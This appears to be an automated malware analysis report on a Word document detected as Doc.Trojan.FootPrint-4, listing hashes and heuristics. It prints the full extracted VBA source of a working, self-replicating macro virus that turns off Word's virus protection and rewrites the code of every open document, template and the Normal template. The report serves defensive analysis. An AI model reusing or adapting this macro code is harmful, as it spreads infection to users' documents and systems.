Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 687ed3b441701945…

MALICIOUS

Office (OLE)

44.5 KB Created: 2000-10-30 17:45:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: ba1c689e43ee4b4d6a72359ad14cc802 SHA-1: a0da70df0db36d7413fbbc0dc42ece0fb9e11857 SHA-256: 687ed3b44170194514557e53b1d9357cf11baefbe9588d67acbc86757617d358
120 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample is identified as malicious by ClamAV with the signature 'Doc.Trojan.FootPrint-4'. It contains VBA macros, specifically a Document_Open macro, which is designed to export its own code to temporary files and then re-import a modified version. This behavior suggests an attempt to evade detection or establish persistence by altering the macro code.

Heuristics 3

  • ClamAV: Doc.Trojan.FootPrint-4 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.FootPrint-4
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2042 bytes
SHA-256: 60ae602d792ec0022d89f909928101bd4e4bd3ea11e929f2000ac43b4749bc27
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Explicit
'SystemTimeWar
Private Sub Document_Close()
On Error Resume Next
Document_Open
End Sub
Private Sub Document_New()
Document_Open
End Sub
Private Sub Document_Open()
On Error Resume Next
Options.VirusProtection = False
Dim al, name As String
Dim adoc As Document
Dim atpl As Template
Dim CoL As Integer
ThisDocument.VBProject.VBComponents("ThisDocument").Export "c:\footprint.$$$"
Open "c:\footprint.$$$" For Input As #1
Open "c:\footprint.$$1" For Output As #2
Line Input #1, al
Line Input #1, al
Line Input #1, al
Line Input #1, al
While Not EOF(1)
    Line Input #1, al
    Print #2, al
Wend
Close 1
Close 2
name = Hour(Time$)
For Each adoc In Documents
    adoc.Sections(1).Footers(wdHeaderFooterPrimary).Range.Text = adoc.FullName
    
    If Not adoc.CustomDocumentProperties(name) Then
        adoc.CustomDocumentProperties.Add name:=name, LinkToContent:=False, Value:=True, Type:=msoPropertyTypeBoolean
        CoL = adoc.VBProject.VBComponents("ThisDocument").CodeModule.CountOfLines
        adoc.VBProject.VBComponents("ThisDocument").CodeModule.DeleteLines 1, CoL
        adoc.VBProject.VBComponents("ThisDocument").CodeModule.AddFromFile "c:\footprint.$$1"
    End If
Next
For Each atpl In Templates
    If Not atpl.CustomDocumentProperties(name) Then
        atpl.CustomDocumentProperties.Add name:=name, LinkToContent:=False, Value:=True, Type:=msoPropertyTypeBoolean
        CoL = atpl.VBProject.VBComponents("ThisDocument").CodeModule.CountOfLines
        atpl.VBProject.VBComponents("ThisDocument").CodeModule.DeleteLines 1, CoL
        atpl.VBProject.VBComponents("ThisDocument").CodeModule.AddFromFile "c:\footprint.$$1"
    End If
Next
NormalTemplate.Save
ActiveDocument.Save
Kill "c:\footprint.$$?"
End Sub